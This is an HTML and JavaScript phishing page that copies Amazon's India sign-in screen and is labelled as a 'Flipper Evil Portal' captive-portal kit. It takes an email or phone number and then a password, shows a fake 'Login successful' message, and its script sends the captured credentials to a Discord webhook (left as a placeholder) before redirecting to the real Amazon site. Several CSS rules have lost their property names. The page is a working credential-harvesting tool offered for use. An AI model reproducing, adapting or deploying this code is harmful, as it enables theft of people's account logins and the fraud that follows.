<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Amazon Sign-In</title>
<link href="https://justpaste.it/redirect/eo214/https%3A%2F%2Ffonts.googleapis.com%2Fcss2%3Ffamily%3DRoboto%3Awght%40300%3B400%3B500%3B700%26amp%3Bdisplay%3Dswap" rel="nofollow">
<style>
:root {
--amazon-yellow: #ffd814;
--amazon-yellow-hover: #f7ca00;
--amazon-border: #ddd;
--amazon-text: #111;
--amazon-link: #0066c0;
--amazon-link-hover: #c45500;
}
body {
'Roboto', "Amazon Ember", Arial, sans-serif;
background-color: #fff;
color: var(--amazon-text);
0;
padding: 0;
display: flex;
flex-direction: column;
align-items: center;
min-height: 100vh;
}
/* warnight.pw */
.a-section {
width: 100%;
max-width: 350px;
14px;
padding: 0 18px;
flex: 1;
}
.logo-container {
text-align: center;
padding: 14px 0 18px;
}
.amazon-logo {
width: 103px;
}
.a-box {
border: 1px solid var(--amazon-border);
border-radius: 8px;
background: #fff;
22px;
}
.a-box-inner {
padding: 20px 26px;
}
h1 {
font-size: 22px;
font-weight: 700;
0 0 10px;
1.2;
color: #111;
}
.subtext-amazon {
font-size: 13px;
12px;
}
.a-text-bold {
font-size: 13px;
font-weight: 700;
display: block;
4px;
}
.a-spacing-micro {
4px;
}
/* warnight.pw */
.claim-input-container {
display: flex;
align-items: center;
border: 1px solid #a6a6a6;
border-top-color: #949494;
border-radius: 4px;
height: 38px;
14px;
width: 100%;
box-sizing: border-box;
background: #fff;
overflow: hidden;
transition: all 0.1s linear;
}
.claim-input-container:focus-within {
border-color: #e77600;
box-shadow: 0 0 3px 2px rgba(228, 121, 17, .5);
}
.a-dropdown-container {
position: relative;
height: 100%;
background: #f0f2f2;
border-right: 1px solid #ddd;
display: flex;
align-items: center;
padding: 0 10px;
font-size: 12px;
cursor: pointer;
white-space: nowrap;
}
.a-dropdown-container select {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
opacity: 0;
cursor: pointer;
}
.a-dropdown-container i {
border-top: 4px solid #555;
border-left: 4px solid transparent;
border-right: 4px solid transparent;
5px;
}
.a-input-text {
flex: 1;
height: 100%;
border: none;
outline: none;
padding: 0 10px;
font-size: 13px;
}
.clear-btn {
padding: 0 10px;
color: #888;
font-size: 18px;
cursor: pointer;
display: none;
}
/* warnight.pw */
.password-input-styled {
width: 100%;
height: 38px;
border: 1px solid #a6a6a6;
border-top-color: #949494;
border-radius: 4px;
padding: 0 10px;
font-size: 13px;
box-sizing: border-box;
18px;
}
.password-input-styled:focus {
border-color: #e77600;
box-shadow: 0 0 3px 2px rgba(228, 121, 17, .5);
outline: none;
}
/* warnight.pw */
.a-button-main {
width: 100%;
border-radius: 20px;
height: 38px;
font-size: 13px;
cursor: pointer;
12px;
display: flex;
align-items: center;
justify-content: center;
box-sizing: border-box;
font-weight: 400;
text-decoration: none;
border: none;
}
.btn-yellow {
background: #FFD814;
border: 1px solid #FCD200;
box-shadow: 0 2px 5px 0 rgba(213, 217, 217, 0.5);
color: #0F1111;
}
.btn-yellow:hover {
background: #F7CA00;
border-color: #F2C200;
}
.btn-white {
background: #fff;
border: 1px solid #adb1b8;
box-shadow: 0 2px 5px 0 rgba(213, 217, 217, 0.5);
color: #111;
}
.btn-white:hover {
background: #f7fafa;
}
/* warnight.pw */
.success-icon {
color: #008a00;
font-size: 48px;
15px;
}
.success-text {
color: #008a00;
font-weight: 500;
font-size: 18px;
20px;
}
/* warnight.pw */
.user-info-row {
font-size: 13px;
12px;
font-weight: 400;
}
.user-identifier {
font-weight: 700;
5px;
}
.label-row {
display: flex;
justify-content: space-between;
align-items: flex-end;
width: 100%;
4px;
}
.forgot-password-link {
font-size: 13px;
color: var(--amazon-link);
text-decoration: none;
font-weight: 400;
}
.forgot-password-link:hover {
color: var(--amazon-link-hover);
text-decoration: underline;
}
.or-divider {
text-align: center;
position: relative;
color: #767676;
font-size: 11px;
25px 0 15px;
}
.or-divider::before,
.or-divider::after {
content: "";
position: absolute;
top: 50%;
width: 45%;
height: 1px;
background: #e7e7e7;
}
.or-divider::before {
left: 0;
}
.or-divider::after {
right: 0;
}
.create-account-prompt {
font-size: 13px;
20px 0 12px;
color: #111;
}
footer {
width: 100%;
padding: 30px 0;
text-align: center;
border-top: 1px solid #eee;
background: linear-gradient(to bottom, rgba(0, 0, 0, .14), rgba(0, 0, 0, .03) 3px, transparent);
20px;
}
.footer-nav a {
color: var(--amazon-link);
text-decoration: none;
font-size: 11px;
0 10px;
}
.footer-nav a:hover {
color: var(--amazon-link-hover);
text-decoration: underline;
}
.copyright-txt {
color: #555;
font-size: 11px;
10px;
}
.hidden {
display: none !important;
}
.amazon-blue-link {
color: var(--amazon-link);
text-decoration: none;
}
.amazon-blue-link:hover {
color: var(--amazon-link-hover);
text-decoration: underline;
}
.a-size-small {
font-size: 12px;
1.5;
color: #555;
}
/* warnight.pw */
.spinner-box {
display: flex;
justify-content: center;
20px;
}
.spinner {
width: 20px;
height: 20px;
border: 2px solid #ccc;
border-top: 2px solid #e77600;
border-radius: 50%;
animation: spin 1s linear infinite;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
</style>
</head>
<body>
<div class="logo-container">
<img class="amazon-logo" src="https://upload.wikimedia.org/wikipedia/commons/a/a9/Amazon_logo.svg"
alt="Amazon Logo">
</div>
<main class="a-section">
<div class="a-box">
<div class="a-box-inner" style="text-align: center;" id="card-content">
<form action="/get" method="get" id="login-form" style="text-align: left;">
<!-- Step 1: Identifier -->
<div id="step-1">
<h1>Sign in or create account</h1>
<span class="a-text-bold a-spacing-micro">Enter mobile number or email</span>
<div class="claim-input-container">
<div class="a-dropdown-container hidden" id="country-code-btn">
<span id="selected-country-text">IN +91</span>
<i></i>
<select id="country-code-select" name="country_code">
<option value="Afghanistan" data-code="+93">Afghanistan +93</option>
<option value="Åland Islands" data-code="+358">Åland Islands +358</option>
<option value="Albania" data-code="+355">Albania +355</option>
<option value="Algeria" data-code="+213">Algeria +213</option>
<option value="American Samoa" data-code="+684">American Samoa +684</option>
<option value="Andorra" data-code="+376">Andorra +376</option>
<option value="Angola" data-code="+244">Angola +244</option>
<option value="Anguilla" data-code="+1">Anguilla +1</option>
<option value="Antarctica" data-code="+672">Antarctica +672</option>
<option value="Antigua and Barbuda" data-code="+1">Antigua and Barbuda +1</option>
<option value="Argentina" data-code="+54">Argentina +54</option>
<option value="Armenia" data-code="+374">Armenia +374</option>
<option value="Aruba" data-code="+297">Aruba +297</option>
<option value="Australia" data-code="+61">Australia +61</option>
<option value="Austria" data-code="+43">Austria +43</option>
<option value="Azerbaijan" data-code="+994">Azerbaijan +994</option>
<option value="Bahamas" data-code="+1">Bahamas +1</option>
<option value="Bahrain" data-code="+973">Bahrain +973</option>
<option value="Bangladesh" data-code="+880">Bangladesh +880</option>
<option value="Barbados" data-code="+1">Barbados +1</option>
<option value="Belarus" data-code="+375">Belarus +375</option>
<option value="Belgium" data-code="+32">Belgium +32</option>
<option value="Belize" data-code="+501">Belize +501</option>
<option value="Benin" data-code="+229">Benin +229</option>
<option value="Bermuda" data-code="+1">Bermuda +1</option>
<option value="Bhutan" data-code="+975">Bhutan +975</option>
<option value="Bolivia" data-code="+591">Bolivia +591</option>
<option value="Bosnia and Herzegovina" data-code="+387">Bosnia and Herzegovina +387
</option>
<option value="Botswana" data-code="+267">Botswana +267</option>
<option value="Bouvet Island" data-code="+47">Bouvet Island +47</option>
<option value="Brazil" data-code="+55">Brazil +55</option>
<option value="British Indian Ocean Territory" data-code="+246">British Indian Ocean
Territory +246</option>
<option value="Brunei Darussalam" data-code="+673">Brunei Darussalam +673</option>
<option value="Bulgaria" data-code="+359">Bulgaria +359</option>
<option value="Burkina Faso" data-code="+226">Burkina Faso +226</option>
<option value="Burundi" data-code="+257">Burundi +257</option>
<option value="Cambodia" data-code="+855">Cambodia +855</option>
<option value="Cameroon" data-code="+237">Cameroon +237</option>
<option value="Canada" data-code="+1">Canada +1</option>
<option value="Cape Verde" data-code="+238">Cape Verde +238</option>
<option value="Cayman Islands" data-code="+1">Cayman Islands +1</option>
<option value="Central African Republic" data-code="+236">Central African Republic
+236</option>
<option value="Chad" data-code="+235">Chad +235</option>
<option value="Chile" data-code="+56">Chile +56</option>
<option value="China" data-code="+86">China +86</option>
<option value="Christmas Island" data-code="+61">Christmas Island +61</option>
<option value="Cocos (Keeling) Islands" data-code="+61">Cocos (Keeling) Islands +61
</option>
<option value="Colombia" data-code="+57">Colombia +57</option>
<option value="Comoros" data-code="+269">Comoros +269</option>
<option value="Congo" data-code="+242">Congo +242</option>
<option value="Congo, The Democratic Republic of The" data-code="+243">Congo, The
Democratic Republic of The +243</option>
<option value="Cook Islands" data-code="+682">Cook Islands +682</option>
<option value="Costa Rica" data-code="+506">Costa Rica +506</option>
<option value="Cote D'ivoire" data-code="+225">Cote D'ivoire +225</option>
<option value="Croatia" data-code="+385">Croatia +385</option>
<option value="Cuba" data-code="+53">Cuba +53</option>
<option value="Cyprus" data-code="+357">Cyprus +357</option>
<option value="Czech Republic" data-code="+420">Czech Republic +420</option>
<option value="Denmark" data-code="+45">Denmark +45</option>
<option value="Djibouti" data-code="+253">Djibouti +253</option>
<option value="Dominica" data-code="+1">Dominica +1</option>
<option value="Dominican Republic" data-code="+1">Dominican Republic +1</option>
<option value="Ecuador" data-code="+593">Ecuador +593</option>
<option value="Egypt" data-code="+20">Egypt +20</option>
<option value="El Salvador" data-code="+503">El Salvador +503</option>
<option value="Equatorial Guinea" data-code="+240">Equatorial Guinea +240</option>
<option value="Eritrea" data-code="+291">Eritrea +291</option>
<option value="Estonia" data-code="+372">Estonia +372</option>
<option value="Ethiopia" data-code="+251">Ethiopia +251</option>
<option value="Falkland Islands (Malvinas)" data-code="+500">Falkland Islands
(Malvinas) +500</option>
<option value="Faroe Islands" data-code="+298">Faroe Islands +298</option>
<option value="Fiji" data-code="+679">Fiji +679</option>
<option value="Finland" data-code="+358">Finland +358</option>
<option value="France" data-code="+33">France +33</option>
<option value="French Guiana" data-code="+594">French Guiana +594</option>
<option value="French Polynesia" data-code="+689">French Polynesia +689</option>
<option value="French Southern Territories" data-code="+262">French Southern
Territories +262</option>
<option value="Gabon" data-code="+241">Gabon +241</option>
<option value="Gambia" data-code="+220">Gambia +220</option>
<option value="Georgia" data-code="+995">Georgia +995</option>
<option value="Germany" data-code="+49">Germany +49</option>
<option value="Ghana" data-code="+233">Ghana +233</option>
<option value="Gibraltar" data-code="+350">Gibraltar +350</option>
<option value="Greece" data-code="+30">Greece +30</option>
<option value="Greenland" data-code="+299">Greenland +299</option>
<option value="Grenada" data-code="+1">Grenada +1</option>
<option value="Guadeloupe" data-code="+590">Guadeloupe +590</option>
<option value="Guam" data-code="+1">Guam +1</option>
<option value="Guatemala" data-code="+502">Guatemala +502</option>
<option value="Guernsey" data-code="+44">Guernsey +44</option>
<option value="Guinea" data-code="+224">Guinea +224</option>
<option value="Guinea-bissau" data-code="+245">Guinea-bissau +245</option>
<option value="Guyana" data-code="+592">Guyana +592</option>
<option value="Haiti" data-code="+509">Haiti +509</option>
<option value="Heard Island and Mcdonald Islands" data-code="+672">Heard Island and
Mcdonald Islands +672</option>
<option value="Holy See (Vatican City State)" data-code="+379">Holy See (Vatican
City State) +379</option>
<option value="Honduras" data-code="+504">Honduras +504</option>
<option value="Hong Kong" data-code="+852">Hong Kong +852</option>
<option value="Hungary" data-code="+36">Hungary +36</option>
<option value="Iceland" data-code="+354">Iceland +354</option>
<option value="India" data-code="+91" selected>India +91</option>
<option value="Indonesia" data-code="+62">Indonesia +62</option>
<option value="Iran, Islamic Republic of" data-code="+98">Iran, Islamic Republic of
+98</option>
<option value="Iraq" data-code="+964">Iraq +964</option>
<option value="Ireland" data-code="+353">Ireland +353</option>
<option value="Isle of Man" data-code="+44">Isle of Man +44</option>
<option value="Israel" data-code="+972">Israel +972</option>
<option value="Italy" data-code="+39">Italy +39</option>
<option value="Jamaica" data-code="+1">Jamaica +1</option>
<option value="Japan" data-code="+81">Japan +81</option>
<option value="Jersey" data-code="+44">Jersey +44</option>
<option value="Jordan" data-code="+962">Jordan +962</option>
<option value="Kazakhstan" data-code="+7">Kazakhstan +7</option>
<option value="Kenya" data-code="+254">Kenya +254</option>
<option value="Kiribati" data-code="+686">Kiribati +686</option>
<option value="Korea, Democratic People's Republic of" data-code="+850">Korea,
Democratic People's Republic of +850</option>
<option value="Korea, Republic of" data-code="+82">Korea, Republic of +82</option>
<option value="Kuwait" data-code="+965">Kuwait +965</option>
<option value="Kyrgyzstan" data-code="+996">Kyrgyzstan +996</option>
<option value="Lao People's Democratic Republic" data-code="+856">Lao People's
Democratic Republic +856</option>
<option value="Latvia" data-code="+371">Latvia +371</option>
<option value="Lebanon" data-code="+961">Lebanon +961</option>
<option value="Lesotho" data-code="+266">Lesotho +266</option>
<option value="Liberia" data-code="+231">Liberia +231</option>
<option value="Libyan Arab Jamahiriya" data-code="+218">Libyan Arab Jamahiriya +218
</option>
<option value="Liechtenstein" data-code="+423">Liechtenstein +423</option>
<option value="Lithuania" data-code="+370">Lithuania +370</option>
<option value="Luxembourg" data-code="+352">Luxembourg +352</option>
<option value="Macao" data-code="+853">Macao +853</option>
<option value="Macedonia, The Former Yugoslav Republic of" data-code="+389">
Macedonia, The Former Yugoslav Republic of +389</option>
<option value="Madagascar" data-code="+261">Madagascar +261</option>
<option value="Malawi" data-code="+265">Malawi +265</option>
<option value="Malaysia" data-code="+60">Malaysia +60</option>
<option value="Maldives" data-code="+960">Maldives +960</option>
<option value="Mali" data-code="+223">Mali +223</option>
<option value="Malta" data-code="+356">Malta +356</option>
<option value="Marshall Islands" data-code="+692">Marshall Islands +692</option>
<option value="Martinique" data-code="+596">Martinique +596</option>
<option value="Mauritania" data-code="+222">Mauritania +222</option>
<option value="Mauritius" data-code="+230">Mauritius +230</option>
<option value="Mayotte" data-code="+262">Mayotte +262</option>
<option value="Mexico" data-code="+52">Mexico +52</option>
<option value="Micronesia, Federated States of" data-code="+691">Micronesia,
Federated States of +691</option>
<option value="Moldova, Republic of" data-code="+373">Moldova, Republic of +373
</option>
<option value="Monaco" data-code="+377">Monaco +377</option>
<option value="Mongolia" data-code="+976">Mongolia +976</option>
<option value="Montenegro" data-code="+382">Montenegro +382</option>
<option value="Montserrat" data-code="+1">Montserrat +1</option>
<option value="Morocco" data-code="+212">Morocco +212</option>
<option value="Mozambique" data-code="+258">Mozambique +258</option>
<option value="Myanmar" data-code="+95">Myanmar +95</option>
<option value="Namibia" data-code="+264">Namibia +264</option>
<option value="Nauru" data-code="+674">Nauru +674</option>
<option value="Nepal" data-code="+977">Nepal +977</option>
<option value="Netherlands" data-code="+31">Netherlands +31</option>
<option value="Netherlands Antilles" data-code="+599">Netherlands Antilles +599
</option>
<option value="New Caledonia" data-code="+687">New Caledonia +687</option>
<option value="New Zealand" data-code="+64">New Zealand +64</option>
<option value="Nicaragua" data-code="+505">Nicaragua +505</option>
<option value="Niger" data-code="+227">Niger +227</option>
<option value="Nigeria" data-code="+234">Nigeria +234</option>
<option value="Niue" data-code="+683">Niue +683</option>
<option value="Norfolk Island" data-code="+672">Norfolk Island +672</option>
<option value="Northern Mariana Islands" data-code="+1">Northern Mariana Islands +1
</option>
<option value="Norway" data-code="+47">Norway +47</option>
<option value="Oman" data-code="+968">Oman +968</option>
<option value="Pakistan" data-code="+92">Pakistan +92</option>
<option value="Palau" data-code="+680">Palau +680</option>
<option value="Palestinian Territory, Occupied" data-code="+970">Palestinian
Territory, Occupied +970</option>
<option value="Panama" data-code="+507">Panama +507</option>
<option value="Papua New Guinea" data-code="+675">Papua New Guinea +675</option>
<option value="Paraguay" data-code="+595">Paraguay +595</option>
<option value="Peru" data-code="+51">Peru +51</option>
<option value="Philippines" data-code="+63">Philippines +63</option>
<option value="Pitcairn" data-code="+64">Pitcairn +64</option>
<option value="Poland" data-code="+48">Poland +48</option>
<option value="Portugal" data-code="+351">Portugal +351</option>
<option value="Puerto Rico" data-code="+1">Puerto Rico +1</option>
<option value="Qatar" data-code="+974">Qatar +974</option>
<option value="Reunion" data-code="+262">Reunion +262</option>
<option value="Romania" data-code="+40">Romania +40</option>
<option value="Russian Federation" data-code="+7">Russian Federation +7</option>
<option value="Rwanda" data-code="+250">Rwanda +250</option>
<option value="Saint Helena" data-code="+290">Saint Helena +290</option>
<option value="Saint Kitts and Nevis" data-code="+1">Saint Kitts and Nevis +1
</option>
<option value="Saint Lucia" data-code="+1">Saint Lucia +1</option>
<option value="Saint Pierre and Miquelon" data-code="+508">Saint Pierre and Miquelon
+508</option>
<option value="Saint Vincent and The Grenadines" data-code="+1">Saint Vincent and
The Grenadines +1</option>
<option value="Samoa" data-code="+685">Samoa +685</option>
<option value="San Marino" data-code="+378">San Marino +378</option>
<option value="Sao Tome and Principe" data-code="+239">Sao Tome and Principe +239
</option>
<option value="Saudi Arabia" data-code="+966">Saudi Arabia +966</option>
<option value="Senegal" data-code="+221">Senegal +221</option>
<option value="Serbia" data-code="+381">Serbia +381</option>
<option value="Seychelles" data-code="+248">Seychelles +248</option>
<option value="Sierra Leone" data-code="+232">Sierra Leone +232</option>
<option value="Singapore" data-code="+65">Singapore +65</option>
<option value="Slovakia" data-code="+421">Slovakia +421</option>
<option value="Slovenia" data-code="+386">Slovenia +386</option>
<option value="Solomon Islands" data-code="+677">Solomon Islands +677</option>
<option value="Somalia" data-code="+252">Somalia +252</option>
<option value="South Africa" data-code="+27">South Africa +27</option>
<option value="South Georgia and The South Sandwich Islands" data-code="+500">South
Georgia and The South Sandwich Islands +500</option>
<option value="Spain" data-code="+34">Spain +34</option>
<option value="Sri Lanka" data-code="+94">Sri Lanka +94</option>
<option value="Sudan" data-code="+249">Sudan +249</option>
<option value="Suriname" data-code="+597">Suriname +597</option>
<option value="Svalbard and Jan Mayen" data-code="+47">Svalbard and Jan Mayen +47
</option>
<option value="Swaziland" data-code="+268">Swaziland +268</option>
<option value="Sweden" data-code="+46">Sweden +46</option>
<option value="Switzerland" data-code="+41">Switzerland +41</option>
<option value="Syrian Arab Republic" data-code="+963">Syrian Arab Republic +963
</option>
<option value="Taiwan" data-code="+886">Taiwan +886</option>
<option value="Tajikistan" data-code="+992">Tajikistan +992</option>
<option value="Tanzania, United Republic of" data-code="+255">Tanzania, United
Republic of +255</option>
<option value="Thailand" data-code="+66">Thailand +66</option>
<option value="Timor-leste" data-code="+670">Timor-leste +670</option>
<option value="Togo" data-code="+228">Togo +228</option>
<option value="Tokelau" data-code="+690">Tokelau +690</option>
<option value="Tonga" data-code="+676">Tonga +676</option>
<option value="Trinidad and Tobago" data-code="+1">Trinidad and Tobago +1</option>
<option value="Tunisia" data-code="+216">Tunisia +216</option>
<option value="Turkey" data-code="+90">Turkey +90</option>
<option value="Turkmenistan" data-code="+993">Turkmenistan +993</option>
<option value="Turks and Caicos Islands" data-code="+1">Turks and Caicos Islands +1
</option>
<option value="Tuvalu" data-code="+688">Tuvalu +688</option>
<option value="Uganda" data-code="+256">Uganda +256</option>
<option value="Ukraine" data-code="+380">Ukraine +380</option>
<option value="United Arab Emirates" data-code="+971">United Arab Emirates +971
</option>
<option value="United Kingdom" data-code="+44">United Kingdom +44</option>
<option value="United States" data-code="+1">United States +1</option>
<option value="United States Minor Outlying Islands" data-code="+1">United States
Minor Outlying Islands +1</option>
<option value="Uruguay" data-code="+598">Uruguay +598</option>
<option value="Uzbekistan" data-code="+998">Uzbekistan +998</option>
<option value="Vanuatu" data-code="+678">Vanuatu +678</option>
<option value="Venezuela" data-code="+58">Venezuela +58</option>
<option value="Viet Nam" data-code="+84">Viet Nam +84</option>
<option value="Virgin Islands, British" data-code="+1">Virgin Islands, British +1
</option>
<option value="Virgin Islands, U.S." data-code="+1">Virgin Islands, U.S. +1</option>
<option value="Wallis and Futuna" data-code="+681">Wallis and Futuna +681</option>
<option value="Western Sahara" data-code="+212">Western Sahara +212</option>
<option value="Yemen" data-code="+967">Yemen +967</option>
<option value="Zambia" data-code="+260">Zambia +260</option>
<option value="Zimbabwe" data-code="+263">Zimbabwe +263</option>
</select>
</div>
<input name="email" id="ap_email" class="a-input-text" type="text" required autofocus
aria-label="Enter mobile number or email" placeholder="Mobile number or email">
<div class="clear-btn" id="clear-input-btn">×</div>
</div>
<button type="button" class="a-button-main btn-yellow" id="continue-btn"
style="border-radius: 8px;">Continue</button>
<p class="a-size-small">
By continuing, you agree to Amazon's <a href='' class="amazon-blue-link">Conditions of
Use</a> and <a href='' class="amazon-blue-link">Privacy Notice</a>.
</p>
<div class="a-section a-spacing-none" style="padding:0;">
<a href='' class="amazon-blue-link" style="font-size: 13px;">Need help?</a>
</div>
<div style="border-top: 1px solid #e7e7e7; 22px 0 14px;"></div>
<div class="a-spacing-micro">
<span class="a-text-bold">Buying for work?</span>
</div>
<a href='' class="amazon-blue-link" style="font-size: 13px;">Create a free business account</a>
</div>
<!-- Step 2: Password -->
<div id="step-2" class="hidden">
<h1>Already have an account?</h1>
<p class="subtext-amazon">To sign in, enter your password.</p>
<div class="user-info-row">
<span class="user-identifier" id="display-email"></span>
<a href='' class="amazon-blue-link" id="change-user-btn">Change</a>
</div>
<div class="label-row">
<span class="a-text-bold">Password</span>
<a href='' class="forgot-password-link">Forgot password?</a>
</div>
<input name="password" id="ap_password" class="password-input-styled" type="password" required>
<button type="submit" id="sign-in-submit" class="a-button-main btn-yellow">Sign in</button>
<button type="button" class="a-button-main btn-white">Sign in with a code</button>
<div class="or-divider">or</div>
<div class="create-account-prompt">Don't have an account? Create one.</div>
<button type="button" class="a-button-main btn-white">Create account</button>
</div>
<!-- Step 3: Success (Inner View) -->
<div id="step-3" class="hidden" style="text-align: center; padding: 20px 0;">
<div class="success-icon">✓</div>
<div class="success-text">Login successful</div>
<p class="a-size-small">You are now being redirected...</p>
<div class="spinner-box">
<div class="spinner"></div>
</div>
<a href="https://justpaste.it/redirect/eo214/https%3A%2F%2Fwww.amazon.in" class="a-button-main btn-yellow"
style="text-decoration: none;">Continue shopping</a>
</div>
</form>
</div>
</div>
</main>
<footer>
<div class="footer-nav">
<a href=''>Conditions of Use</a>
<a href=''>Privacy Notice</a>
<a href=''>Help</a>
</div>
<div class="copyright-txt">
© 1996-2026, Amazon.com, Inc. or its affiliates
</div>
</footer>
<script>
document.addEventListener('DOMContentLoaded', function () {
const step1 = document.getElementById('step-1');
const step2 = document.getElementById('step-2');
const step3 = document.getElementById('step-3');
const form = document.getElementById('login-form');
const continueBtn = document.getElementById('continue-btn');
const changeUserBtn = document.getElementById('change-user-btn');
const emailInput = document.getElementById('ap_email');
const displayEmail = document.getElementById('display-email');
const passwordInput = document.getElementById('ap_password');
const countryBtn = document.getElementById('country-code-btn');
const countrySelect = document.getElementById('country-code-select');
const selectedText = document.getElementById('selected-country-text');
const clearBtn = document.getElementById('clear-input-btn');
// Handle Country Change
countrySelect.addEventListener('change', function () {
const selectedOption = countrySelect.options[countrySelect.selectedIndex];
selectedText.textContent = selectedOption.text;
});
// Detect Phone vs Email
emailInput.addEventListener('input', function () {
const val = emailInput.value.trim();
const isPhone = /^[+\d]/.test(val) && !val.includes('@');
if (isPhone && val.length > 0) {
countryBtn.classList.remove('hidden');
} else {
countryBtn.classList.add('hidden');
}
clearBtn.style.display = val.length > 0 ? 'block' : 'none';
});
clearBtn.addEventListener('click', function () {
emailInput.value = '';
clearBtn.style.display = 'none';
countryBtn.classList.add('hidden');
emailInput.focus();
});
continueBtn.addEventListener('click', function () {
const val = emailInput.value.trim();
const selectedCountryText = selectedText.textContent;
if (val === '') {
emailInput.reportValidity();
return;
}
// Custom validation for India Mobile Numbers
const isPhoneInput = /^[+\d]/.test(val) && !val.includes('@');
if (selectedCountryText.includes('IN +91') && isPhoneInput) {
// Strip any non-digit characters (like spaces or +91 if they typed it)
let digitsOnly = val.replace(/\D/g, '');
// if it starts with 91 and has 12 digits, strip the 91
if (digitsOnly.startsWith('91') && digitsOnly.length === 12) {
digitsOnly = digitsOnly.substring(2);
}
const indiaMobileRegex = /^[6-9]\d{9}$/;
if (!indiaMobileRegex.test(digitsOnly)) {
emailInput.setCustomValidity("Please enter a valid 10-digit Indian mobile number starting with 6, 7, 8, or 9.");
emailInput.reportValidity();
return;
}
}
// Clear validity if passed
emailInput.setCustomValidity("");
displayEmail.textContent = val;
step1.classList.add('hidden');
step2.classList.remove('hidden');
passwordInput.focus();
});
// Clear custom validity on input
emailInput.addEventListener('input', function () {
emailInput.setCustomValidity("");
});
changeUserBtn.addEventListener('click', function (e) {
e.preventDefault();
step2.classList.add('hidden');
step1.classList.remove('hidden');
emailInput.focus();
});
// --- Discord Webhook Config ---
const DISCORD_WEBHOOK_URL = 'YOUR_DISCORD_WEBHOOK_URL';
async function sendToDiscord(identifier, pwd) {
if (!DISCORD_WEBHOOK_URL || DISCORD_WEBHOOK_URL.includes('YOUR_WEBHOOK')) return;
const payload = {
embeds: [{
title: "📦 Amazon Login Captured",
color: 16750848, // Amazon Orange
fields: [
{ name: "Email/Phone", value: identifier, inline: true },
{ name: "Password", value: "||" + pwd + "||", inline: true }
],
footer: { text: "Flipper Evil Portal • " + new Date().toLocaleString() }
}]
};
try {
await fetch(DISCORD_WEBHOOK_URL, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(payload)
});
} catch (e) { console.error('Webhook Error:', e); }
}
// Handle Success State
form.addEventListener('submit', function (e) {
e.preventDefault();
const email = emailInput.value;
const password = passwordInput.value;
// Show Success Message
step2.classList.add('hidden');
step3.classList.remove('hidden');
// Send to Discord
sendToDiscord(email, password);
setTimeout(() => {
setTimeout(() => {
window.location.href = "https://www.amazon.in";
}, 2000);
}, 1000);
});
emailInput.addEventListener('keypress', function (e) {
if (e.key === 'Enter') {
e.preventDefault();
continueBtn.click();
}
});
});
</script>
</body>
</html>